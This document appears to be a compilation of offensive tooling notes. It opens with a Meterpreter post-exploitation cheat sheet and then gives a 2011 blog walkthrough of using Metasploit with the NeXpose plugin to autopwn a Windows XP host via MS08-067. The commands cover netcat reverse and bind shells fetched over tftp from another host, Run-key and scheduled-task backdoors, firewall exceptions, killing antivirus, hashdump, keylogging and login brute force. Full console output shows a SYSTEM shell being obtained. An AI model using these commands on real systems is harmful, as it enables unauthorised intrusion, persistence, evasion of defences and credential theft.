________________________________________________________________________


# rev shell the hard way
run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
________________________________________________________________________
# An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.
run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
run schtasksabuse -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
________________________________________________________________________
# vnc / port fwd for linux
run vnc
________________________________________________________________________
# priv esc
run kitrap0d

________________________________________________________________________

run getgui
________________________________________________________________________
# somewhat broken .. google sdt cleaner NtTerminateProcess !@?!?!
run killav

run winemun

run memdump

run screen_unlock
_________________________________________________________________________
upload /tmp/system32.exe C:\\windows\\system32\\
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion \\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion \\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion \\Run -v system32
reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list
reg setval -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list -v sys
reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess \\parameters\\firewallpolicy\\Standardprofile\\aut horizedapplications\\list -v system32
upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"

__________________________________________________________________________


getuid
ps
getpid
keyscan_start
keyscan_dump
migrate 520
portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80"
portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666
___________________________________________________________________________
shell
run myremotefileserver_mserver -h
run myremotefileserver_mserver -p 8787
___________________________________________________________________________
run msf_bind
run msf_bind -p 1975
rev2self
getuid
___________________________________________________________________________
getuid



enumdesktops
grabdesktop

run deploymsf -f framework-3.3-dev.exe

run hashdump
run metsvc
run scraper
run checkvm
run keylogrecorder
run netenum -fl -hl localhostlist.txt -d google.com
run netenum -rl -r 10.192.0.50-10.192.0.254
run netenum -st -d google.com
run netenum -ps -r 10.192.0.50-254

________________________________________________________________________
# Windows Login Brute Force Meterpreter Script
run winbf -h
________________________________________________________________________
# upload a script or executable and run it
uploadexec

________________________________________________________________________
# Using Payload As A Backdoor from a shell

REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\metabkdr.exe" /f
at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\metabkdr.exe"
SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\metabkdr.exe" /ED 11/11/2011

_________________________________________________________________________

# kill AV this will not unload it from mem it needs reboot or kill from memory still ... Darkspy, Seem, Icesword GUI can kill the tasks
catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"
catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"
catchme.exe -O "c:\Program Files\Kaspersky\avp.exe" dummy
__________________________________________________________________________





Friday, December 16, 2011

Getting Shell by Metasploit+NeXpose


In last post I had told u how to install Nexpose on Backtrack4RC2,today we will see how to use Nexpose through msf.
Metasploit has Nexpose plugin were we can login to Nexpose scan the Target System and import the Scan Results to Metasploit,,then msf will check for the exploits Matching those vulnerabilities and it automatically run those exploits if the target system is vulnerable then get us a Interactive Shell,Lets begin
1)Run the Nexpose scanner
2)start the metasploit
root@bt:/pentest/exploits/framework3# ./msfconsole
msf > db_driver sqlite3
msf > db_create
msf > load nexpose
msf > nexpose_connect kislay:gotroot@127.0.0.1
msf > nexpose_scan -x 192.168.1.4
msf > sessions -i 1


Above are the total commands run to get the shell by MSF and NeXpose, below is the working.
root@bt:/pentest/exploits/framework3# ./msfconsole
o                       8         o   o
8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8′ 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   ‘Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo’   8  `YooP8 `YooP’ 8YooP’ 8 `YooP’  8   8
..:..:..:…..:::..::…..::…..:8…..:..:…..::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ — –=[ 636 exploits - 319 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r11120 updated 17 days ago (2010.11.24)
Warning: This copy of the Metasploit Framework was last updated 2 days ago.
We recommend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
http://www.metasploit.com/redmine/projects/framework/wiki/Updating
msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_create
[-]
[-] Warning: The db_create command is deprecated, use db_connect instead.
[-]          The database and schema will be created automatically by
[-]          db_connect. If db_connect fails to create the database, create
[-]          it manually with your DBMS’s administration tools.
[-]
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load nexpose
____             _     _ _____   _   _     __  __
|  _ \ __ _ _ __ (_) __| |___  | | \ | | ___\ \/ /_ __   ___  ___  ___
| |_) / _` | ‘_ \| |/ _` |  / /  |  \| |/ _ \\  /| ‘_ \ / _ \/ __|/ _ \
|  _ < (_| | |_) | | (_| | / /   | |\  |  __//  \| |_) | (_) \__ \  __/
|_| \_\__,_| .__/|_|\__,_|/_/    |_| \_|\___/_/\_\ .__/ \___/|___/\___|
|_|                                   |_|
[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose
msf > nexpose_connect kislay:gotroot@127.0.0.1
[*] Connecting to NeXpose instance at 127.0.0.1:3780 with username kislay…
msf > nexpose_scan -x 192.168.1.4
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
[*] Launching an automated exploitation session
[*] Analysis completed in 26 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*]                             Matching Exploit Modules
[*] ================================================================================
[*]   192.168.1.4:445  exploit/windows/smb/ms08_067_netapi  (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos, CVE-2008-4250, CVE-2008-4250, OSVDB-49243, MSB-MS08-067, NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)
[*]   192.168.1.4:445  exploit/windows/smb/ms06_040_netapi  (CVE-2006-3439)
[*] ================================================================================
[*]
[*]
[*] (1/2 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.1.4:445…
[*] (2/2 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.1.4:445…
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution…
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution…
[*] (2/2 [0 sessions]): Waiting on 1 launched modules to finish execution…
[*] Meterpreter session 1 opened (192.168.1.7:18282 -> 192.168.1.4:1067) at Sat Dec 11 03:40:01 -0500 2010
[*] (2/2 [1 sessions]): Waiting on 1 launched modules to finish execution…
[*] (2/2 [1 sessions]): Waiting on 0 launched modules to finish execution…
[*] The autopwn command has completed with 1 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================
Active sessions
===============
Id  Type                   Information                            Connection                                 Via
–  —-                   ———–                            ———-                                 —
1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ TESTBOX-85474D5  192.168.1.7:18282 -> 192.168.1.4:1067  exploit/windows/smb/ms08_067_netapi
[*] ================================================================================
msf > sessions -i 1
[*] Starting interaction with 1…
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 1040 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix  . :
IP Address. . . . . . . . . . . . : 192.168.1.4
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
C:\WINDOWS\system32>exit
 

The Hacker News